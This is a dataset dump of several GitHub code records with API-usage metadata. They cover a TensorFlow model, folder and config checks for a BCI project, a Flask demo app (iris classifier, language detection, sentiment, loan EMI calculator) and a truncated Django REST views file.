"call"}, {"api_name": "tensorflow.python.ops.nn_ops", "line_number": 387, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.get_variable", "line_number": 388, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 388, "usage_type": "name"}, {"api_name": "nn.linear", "line_number": 390, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 391, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 391, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_sum", "line_number": 393, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 393, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.tanh", "line_number": 393, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.nn_ops.softmax", "line_number": 394, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.nn_ops", "line_number": 394, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_sum", "line_number": 396, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 396, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 396, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 396, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 397, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 397, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 402, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 402, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.get_variable_scope", "line_number": 408, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 408, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 411, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 411, "usage_type": "name"}, {"api_name": "tensorflow.identity", "line_number": 411, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 413, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 413, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.get_variable", "line_number": 414, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 414, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.nn_ops.conv2d", "line_number": 415, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.nn_ops", "line_number": 415, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.get_variable", "line_number": 416, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 416, "usage_type": "name"}, {"api_name": "nn.linear", "line_number": 419, "usage_type": "call"}, {"api_name": "functions.flatten_query", "line_number": 419, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 420, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 420, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_sum", "line_number": 421, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 421, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.tanh", "line_number": 421, "usage_type": "call"}, {"api_name": "tensorflow.sign", "line_number": 422, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_sum", "line_number": 422, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 422, "usage_type": "name"}, {"api_name": "tensorflow.abs", "line_number": 422, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_sum", "line_number": 427, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 427, "usage_type": "name"}, {"api_name": "tensorflow.sign", "line_number": 428, "usage_type": "call"}, {"api_name": "tensorflow.reduce_max", "line_number": 431, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 432, "usage_type": "call"}, {"api_name": "tensorflow.divide", "line_number": 433, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 435, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_max", "line_number": 435, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 435, "usage_type": "name"}, {"api_name": "tensorflow.ones", "line_number": 437, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 437, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros", "line_number": 438, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 438, "usage_type": "attribute"}, {"api_name": "tensorflow.where", "line_number": 439, "usage_type": "call"}, {"api_name": "tensorflow.equal", "line_number": 439, "usage_type": "call"}, {"api_name": "tensorflow.abs", "line_number": 441, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.nn_ops.softmax", "line_number": 443, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.nn_ops", "line_number": 443, "usage_type": "name"}, {"api_name": "tensorflow.reduce_max", "line_number": 445, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 446, "usage_type": "call"}, {"api_name": "tensorflow.tanh", "line_number": 449, "usage_type": "call"}, {"api_name": "tensorflow.sign", "line_number": 451, "usage_type": "call"}, {"api_name": "tensorflow.multiply", "line_number": 454, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 455, "usage_type": "call"}, {"api_name": "tensorflow.tile", "line_number": 458, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 459, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 459, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 468, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 468, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_mean", "line_number": 469, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 469, "usage_type": "name"}, {"api_name": "tensorflow.multiply", "line_number": 469, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 470, "usage_type": "call"}, {"api_name": "nn.linear", "line_number": 471, "usage_type": "call"}, {"api_name": "tensorflow.tanh", "line_number": 473, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 476, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 476, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 480, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 480, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_mean", "line_number": 481, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 481, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.tanh", "line_number": 482, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 482, "usage_type": "name"}, {"api_name": "nn.linear", "line_number": 482, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 484, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 484, "usage_type": "name"}, {"api_name": "six.moves.xrange", "line_number": 497, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 499, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 503, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 517, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 520, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 527, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 527, "usage_type": "attribute"}, {"api_name": "six.moves.xrange", "line_number": 531, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 532, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 543, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 557, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 558, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 570, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 633, "usage_type": "call"}]}
{"seq_id": "796535319", "text": "\"\"\"\nPreliminary checks before the code is run.\n\nEnsures that the correct folders exists that contain the data and that config exists etc.\n\"\"\"\nimport os\nimport json\nimport numpy as np\n\nfrom classes.Dict import AttrDict\nfrom definitions import ROOT_PATH, DATASET_PATH, OUTPUT_PATH\nfrom utility.file_util import create_dir, file_exist\nfrom utility.logger import get_logger\n\n\n# Makes sure the default config and online label config files exist.\ndef check_config_files():\n    default_config_path = os.path.join(ROOT_PATH, 'json_configs', 'default.json')\n    label_config_path = os.path.join(ROOT_PATH, 'json_configs', 'file_management.json')\n\n    try:\n        with open(default_config_path, 'r') as default_c, open(label_config_path) as label_c:\n            return AttrDict(json.load(default_c)), AttrDict(json.load(label_c))\n    except OSError as e:\n        get_logger().error(f'Config file missing at: {e.filename}')\n\n\n# Data for 10 subjects should exist - creates folders for each subject if none yet exist.\ndef check_data_folders():\n    valid_subjects = list(range(10))\n\n    for subject in valid_subjects:\n        create_dir(os.path.join(DATASET_PATH, f'subject_{subject}'), recursive=True)\n        create_dir(os.path.join(DATASET_PATH, f'subject_{subject}', 'training'))\n        create_dir(os.path.join(DATASET_PATH, f'subject_{subject}', 'online_test'))\n        create_dir(os.path.join(DATASET_PATH, f'subject_{subject}', 'dwell_tuning'))\n\n    create_dir(os.path.join(OUTPUT_PATH, 'results'))\n    create_dir(os.path.join(OUTPUT_PATH, 'data'))\n    create_dir(os.path.join(OUTPUT_PATH, 'features'))\n\n\n# Checks if the online_test data label files specified in the file_management.json config files exist.\ndef check_for_label_files(label_config):\n    for k, v in label_config.items():\n        path = os.path.join(DATASET_PATH, k, 'online_test')\n        try:\n            if not np.all(list(map(os.path.exists, [os.path.join(path, i) for i in v['label_files']]))):\n                raise FileNotFoundError(f'Label file missing at {k}')\n        except FileNotFoundError as e:\n            get_logger().error(e)\n", "repo_name": "P9-MI-BCI/mind-reading-and-control", "sub_path": "dispatch/preliminary.py", "file_name": "preliminary.py", "file_ext": "py", "file_size_in_byte": 2103, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "definitions.ROOT_PATH", "line_number": 18, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "definitions.ROOT_PATH", "line_number": 19, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "classes.Dict.AttrDict", "line_number": 23, "usage_type": "call"}, {"api_name": "json.load", "line_number": 23, "usage_type": "call"}, {"api_name": "utility.logger.get_logger", "line_number": 25, "usage_type": "call"}, {"api_name": "utility.file_util.create_dir", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "definitions.DATASET_PATH", "line_number": 33, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "utility.file_util.create_dir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "definitions.DATASET_PATH", "line_number": 34, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "utility.file_util.create_dir", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "definitions.DATASET_PATH", "line_number": 35, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "utility.file_util.create_dir", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "definitions.DATASET_PATH", "line_number": 36, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "utility.file_util.create_dir", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "definitions.OUTPUT_PATH", "line_number": 38, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "utility.file_util.create_dir", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "definitions.OUTPUT_PATH", "line_number": 39, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "utility.file_util.create_dir", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "definitions.OUTPUT_PATH", "line_number": 40, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "definitions.DATASET_PATH", "line_number": 46, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.all", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "utility.logger.get_logger", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "4523169863", "text": "import numpy as np\r\nfrom flask import Flask, render_template, request, redirect, url_for, flash, send_file\r\n#from flask_sqlalchemy import SQLAlchemy\r\nimport pickle\r\nfrom nltk import wordpunct_tokenize\r\nfrom nltk.corpus import stopwords\r\nfrom textblob import TextBlob\r\nfrom babel.numbers import format_currency\r\nimport pandas as pd\r\n\r\n# A dictionary if language codes with ISO 639-1 encoding and their respective languages\r\nlanguages = {'aa': 'Afar', 'ab': 'Abkhazian', 'ae': 'Avestan', 'af': 'Afrikaans', 'ak': 'Akan', 'am': 'Amharic', 'an': 'Aragonese',\r\n 'ar': 'Arabic', 'as': 'Assamese', 'av': 'Avaric', 'ay': 'Aymara', 'az': 'Azerbaijani', 'ba': 'Bashkir', 'be': 'Belarusian',\r\n 'bg': 'Bulgarian', 'bh': 'Bihari languages', 'bi': 'Bislama', 'bm': 'Bambara', 'bn': 'Bengali', 'bo': 'Tibetan', 'br': 'Breton',\r\n 'bs': 'Bosnian', 'ca': 'Catalan; Valencian', 'ce': 'Chechen', 'ch': 'Chamorro', 'co': 'Corsican', 'cr': 'Cree', 'cs': 'Czech',\r\n 'cu': 'Church Slavic; Old Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic', 'cv': 'Chuvash', 'cy': 'Welsh',\r\n 'da': 'Danish', 'de': 'German', 'dv': 'Divehi; Dhivehi; Maldivian', 'dz': 'Dzongkha', 'ee': 'Ewe', 'el': 'Greek, Modern (1453-)',\r\n 'en': 'English', 'eo': 'Esperanto', 'es': 'Spanish; Castilian', 'et': 'Estonian', 'eu': 'Basque', 'fa': 'Persian', 'ff': 'Fulah',\r\n 'fi': 'Finnish', 'fj': 'Fijian', 'fo': 'Faroese', 'fr': 'French', 'fy': 'Western Frisian', 'ga': 'Irish', 'gd': 'Gaelic; Scottish Gaelic',\r\n 'gl': 'Galician', 'gn': 'Guarani', 'gu': 'Gujarati', 'gv': 'Manx', 'ha': 'Hausa', 'he': 'Hebrew', 'hi': 'Hindi', 'ho': 'Hiri Motu',\r\n 'hr': 'Croatian', 'ht': 'Haitian; Haitian Creole', 'hu': 'Hungarian', 'hy': 'Armenian', 'hz': 'Herero',\r\n 'ia': 'Interlingua (International Auxiliary Language Association)', 'id': 'Indonesian', 'ie': 'Interlingue; Occidental', 'ig': 'Igbo',\r\n 'ii': 'Sichuan Yi; Nuosu', 'ik': 'Inupiaq', 'io': 'Ido', 'is': 'Icelandic', 'it': 'Italian', 'iu': 'Inuktitut', 'ja': 'Japanese',\r\n 'jv': 'Javanese', 'ka': 'Georgian', 'kg': 'Kongo', 'ki': 'Kikuyu; Gikuyu', 'kj': 'Kuanyama; Kwanyama', 'kk': 'Kazakh',\r\n 'kl': 'Kalaallisut; Greenlandic', 'km': 'Central Khmer', 'kn': 'Kannada', 'ko': 'Korean', 'kr': 'Kanuri', 'ks': 'Kashmiri',\r\n 'ku': 'Kurdish', 'kv': 'Komi', 'kw': 'Cornish', 'ky': 'Kirghiz; Kyrgyz', 'la': 'Latin', 'lb': 'Luxembourgish; Letzeburgesch',\r\n 'lg': 'Ganda', 'li': 'Limburgan; Limburger; Limburgish', 'ln': 'Lingala', 'lo': 'Lao', 'lt': 'Lithuanian', 'lu': 'Luba-Katanga',\r\n 'lv': 'Latvian', 'mg': 'Malagasy', 'mh': 'Marshallese', 'mi': 'Maori', 'mk': 'Macedonian', 'ml': 'Malayalam', 'mn': 'Mongolian',\r\n 'mr': 'Marathi', 'ms': 'Malay', 'mt': 'Maltese', 'my': 'Burmese', 'na': 'Nauru', 'nb': 'Bokmål, Norwegian; Norwegian Bokmål',\r\n 'nd': 'Ndebele, North; North Ndebele', 'ne': 'Nepali', 'ng': 'Ndonga', 'nl': 'Dutch; Flemish', 'nn': 'Norwegian Nynorsk; Nynorsk, Norwegian',\r\n 'no': 'Norwegian', 'nr': 'Ndebele, South; South Ndebele', 'nv': 'Navajo; Navaho', 'ny': 'Chichewa; Chewa; Nyanja',\r\n 'oc': 'Occitan (post 1500)', 'oj': 'Ojibwa', 'om': 'Oromo', 'or': 'Oriya', 'os': 'Ossetian; Ossetic', 'pa': 'Panjabi; Punjabi',\r\n 'pi': 'Pali', 'pl': 'Polish', 'ps': 'Pushto; Pashto', 'pt': 'Portuguese', 'qu': 'Quechua', 'rm': 'Romansh', 'rn': 'Rundi',\r\n 'ro': 'Romanian; Moldavian; Moldovan', 'ru': 'Russian', 'rw': 'Kinyarwanda', 'sa': 'Sanskrit', 'sc': 'Sardinian', 'sd': 'Sindhi',\r\n 'se': 'Northern Sami', 'sg': 'Sango', 'si': 'Sinhala; Sinhalese', 'sk': 'Slovak', 'sl': 'Slovenian', 'sm': 'Samoan', 'sn': 'Shona',\r\n 'so': 'Somali', 'sq': 'Albanian', 'sr': 'Serbian', 'ss': 'Swati', 'st': 'Sotho, Southern', 'su': 'Sundanese', 'sv': 'Swedish',\r\n 'sw': 'Swahili', 'ta': 'Tamil', 'te': 'Telugu', 'tg': 'Tajik', 'th': 'Thai', 'ti': 'Tigrinya', 'tk': 'Turkmen', 'tl': 'Tagalog',\r\n 'tn': 'Tswana', 'to': 'Tonga (Tonga Islands)', 'tr': 'Turkish', 'ts': 'Tsonga', 'tt': 'Tatar', 'tw': 'Twi', 'ty': 'Tahitian',\r\n 'ug': 'Uighur; Uyghur', 'uk': 'Ukrainian', 'ur': 'Urdu', 'uz': 'Uzbek', 've': 'Venda', 'vi': 'Vietnamese', 'vo': 'Volapük',\r\n 'wa': 'Walloon', 'wo': 'Wolof', 'xh': 'Xhosa', 'yi': 'Yiddish', 'yo': 'Yoruba', 'za': 'Zhuang; Chuang', 'zh': 'Chinese', 'zu': 'Zulu'}\r\n\r\n\r\napp = Flask(__name__)\r\nmodel = pickle.load(open('iris_model.pkl', 'rb'))\r\n\r\n\r\n@app.route('/')\r\ndef home():\r\n    return render_template('index.html')\r\n\r\n@app.route('/aboutus')\r\ndef aboutus_page():\r\n    return render_template('aboutus.html')\r\n\r\n@app.route('/iris')\r\ndef iris_page():\r\n    return render_template('iris.html')\r\n\r\n@app.route('/language')\r\ndef language_page():\r\n    return render_template('language.html')\r\n\r\n@app.route('/sentiment')\r\ndef sentiment_page():\r\n    return render_template('sentiment.html')\r\n\r\n@app.route('/rubik')\r\ndef rubiks_page():\r\n    return render_template('rubik.html')\r\n\r\n@app.route('/stamp_collection')\r\ndef stamps_page():\r\n    return render_template('stamp.html')\r\n\r\n@app.route('/loan_calculator')\r\ndef loan_page():\r\n    return render_template('loan.html')\r\n\r\n\r\n@app.route('/iris/predict',methods=['POST'])\r\ndef predict_iris():\r\n    #For rendering results on HTML GUI\r\n    int_features = [float(x) for x in request.form.values()]\r\n    final_features = [np.array(int_features)]\r\n    print(final_features)\r\n    prediction = model.predict(final_features)\r\n    output = prediction[0]\r\n    return render_template('iris.html', prediction_text='Iris species is : {}'.format(output))\r\n\r\n@app.route('/language/detect',methods=['POST'])\r\ndef detect_language():\r\n    languages_ratios = {}\r\n    text = str([x for x in request.form.values()])\r\n    tokens = wordpunct_tokenize(text)\r\n    words = [word.lower() for word in tokens]\r\n    for language in stopwords.fileids():\r\n        stopwords_set = set(stopwords.words(language))\r\n        words_set = set(words)\r\n        common_elements = words_set.intersection(stopwords_set)\r\n        languages_ratios[language] = len(common_elements)\r\n    most_rated_language = max(languages_ratios, key=languages_ratios.get).capitalize()\r\n    return render_template('language.html', detection_text='The detected language is : {}'.format(most_rated_language))\r\n\r\n@app.route('/sentiment/predict',methods=['POST'])\r\ndef predict_sentiment():\r\n    text = str([x for x in request.form.values()])\r\n    text_sentiment_score = TextBlob(text).sentiment.polarity\r\n    if text_sentiment_score >= 0.05:\r\n        text_sentiment = \"Positive\"\r\n    elif text_sentiment_score <= -0.05:\r\n        text_sentiment = \"Negative\"\r\n    else:\r\n        text_sentiment = \"Neutral\"\r\n    return render_template('sentiment.html', sent_prediction_score_text='The sentiment score is : {}'.format(text_sentiment_score), sent_prediction_text='The sentiment is : {}'.format(text_sentiment))\r\n\r\n@app.route('/loan_calculator/result',methods=['POST'])\r\ndef loan_result():\r\n    int_features = [x for x in request.form.values()]\r\n    interest_rate_selection = int_features.pop(2)\r\n    int_features = [float(i) for i in int_features]\r\n    final_features = [np.array(int_features)]\r\n    p = float(final_features[0][0])\r\n    r = float(final_features[0][1])\r\n    n = int(final_features[0][2])\r\n    if interest_rate_selection == 'permonth':\r\n        temp = 'Per Month'\r\n        var = (1 + (r/100)) ** n\r\n        emi = round((p * (r/100) * ((var)/(var - 1))), 2)\r\n        A = round((emi * n), 2)\r\n        I = round((A - p), 2)\r\n        p_i = []\r\n        I_i = []\r\n        month = []\r\n        for i in range(1, n+1):\r\n            month.append(i)\r\n            p_i.append(format_currency(round((((1 / (1 + (r/100))) ** (n - i + 1)) * emi), 2), 'INR', locale='en_IN'))\r\n            I_i.append(format_currency(round((emi - (((1 / (1 + (r/100))) ** (n - i + 1)) * emi)), 2), 'INR', locale='en_IN'))\r\n        df = pd.DataFrame(list(zip(month, p_i, I_i)), columns=['Month', 'Principal', 'Interest'])\r\n        df['EMI'] = format_currency(round(emi, 2), 'INR', locale='en_IN')\r\n        A_new = format_currency(A, 'INR', locale='en_IN')\r\n        I_new = format_currency(I, 'INR', locale='en_IN')\r\n        emi_new = format_currency(emi, 'INR', locale='en_IN')\r\n        p_new = format_currency(p, 'INR', locale='en_IN')\r\n    else:\r\n        temp = 'Per Annum'\r\n        var = (1 + (r/1200)) ** n\r\n        emi = round((p * (r/1200) * ((var)/(var - 1))), 2)\r\n        A = round((emi * n), 2)\r\n        I = round((A - p), 2)\r\n        p_i = []\r\n        I_i = []\r\n        month = []\r\n        for i in range(1, n+1):\r\n            month.append(i)\r\n            p_i.append(format_currency(round((((1 / (1 + (r/1200))) ** (n - i + 1)) * emi), 2), 'INR', locale='en_IN'))\r\n            I_i.append(format_currency(round((emi - (((1 / (1 + (r/1200))) ** (n - i + 1)) * emi)), 2), 'INR', locale='en_IN'))\r\n        df = pd.DataFrame(list(zip(month, p_i, I_i)), columns=['Month', 'Principal', 'Interest'])\r\n        df['EMI'] = format_currency(round(emi, 2), 'INR', locale='en_IN')\r\n        A_new = format_currency(A, 'INR', locale='en_IN')\r\n        I_new = format_currency(I, 'INR', locale='en_IN')\r\n        emi_new = format_currency(emi, 'INR', locale='en_IN')\r\n        p_new = format_currency(p, 'INR', locale='en_IN')\r\n    return render_template('loan.html', principal_value='{}'.format(p_new), principal_text='Loan Amount: \\u20B9 {}'.format(int(p)), interest_rate_text='Rate of Interest: {}%'.format(r), interest_rate_value='{}%'.format(r), interest_rate_selection_value='{}'.format(temp), tenure_text='Tenure: {} months'.format(int(n)), tenure_value='{} months'.format(int(n)), total_amount_text='Total Amount payable: \\u20B9 {}'.format(A), total_amount_value='{}'.format(A_new), total_interest_text='Total Interest payable: \\u20B9 {}'.format(I), total_inrest_value='{}'.format(I_new), emi_text='EMI: \\u20B9 {}'.format(emi), emi_value='{}'.format(emi_new), tables=[df.to_html(classes='data table table-hover table-bordered text-center w-auto table-center', table_id='emi_table', index=False)], titles=df.columns.values)\r\n\r\n#@app.route('/loan_calculator/result/download', methods = ['GET'])\r\n#def download_excel():\r\n#    return send_file('EMI_calculations.xlsx')\r\n\r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)\r\n", "repo_name": "rohit1253/apps", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 10078, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 43, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.request.form.values", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.request.form.values", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 93, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 93, "usage_type": "name"}, {"api_name": "nltk.wordpunct_tokenize", "line_number": 94, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.fileids", "line_number": 96, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 96, "usage_type": "name"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 97, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 97, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.request.form.values", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 106, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 106, "usage_type": "name"}, {"api_name": "textblob.TextBlob", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 114, "usage_type": "call"}, {"api_name": "flask.request.form.values", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 118, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 136, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 137, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 138, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 139, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 140, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 141, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 142, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 143, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 155, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 156, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 157, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 158, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 159, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 160, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 161, "usage_type": "call"}, {"api_name": "babel.numbers.format_currency", "line_number": 162, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 163, "usage_type": "call"}]}
{"seq_id": "26781650121", "text": "import xlwt\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render\nfrom rest_framework import status, viewsets, generics\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom .serializers import AssessmentResultsSerializer, ResultSerializer, CA_ItemSerializer, LecturerCourseSerializer, AssessmentSerializer\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework import authentication\nfrom rest_framework.authtoken.models import Token\nfrom .models import *\n\n\nclass ResultsViewset(viewsets.ModelViewSet):\n    queryset = Result.objects.all()\n    serializer_class = ResultSerializer\n    permission_classes = [IsAuthenticated]\n\n\nclass CA_ItemsViewset(viewsets.ReadOnlyModelViewSet):\n    queryset = CA_Item.objects.all()\n    serializer_class = CA_ItemSerializer\n    permission_classes = [IsAuthenticated]\n\n\ndef get_user_from_token(token):\n    user = 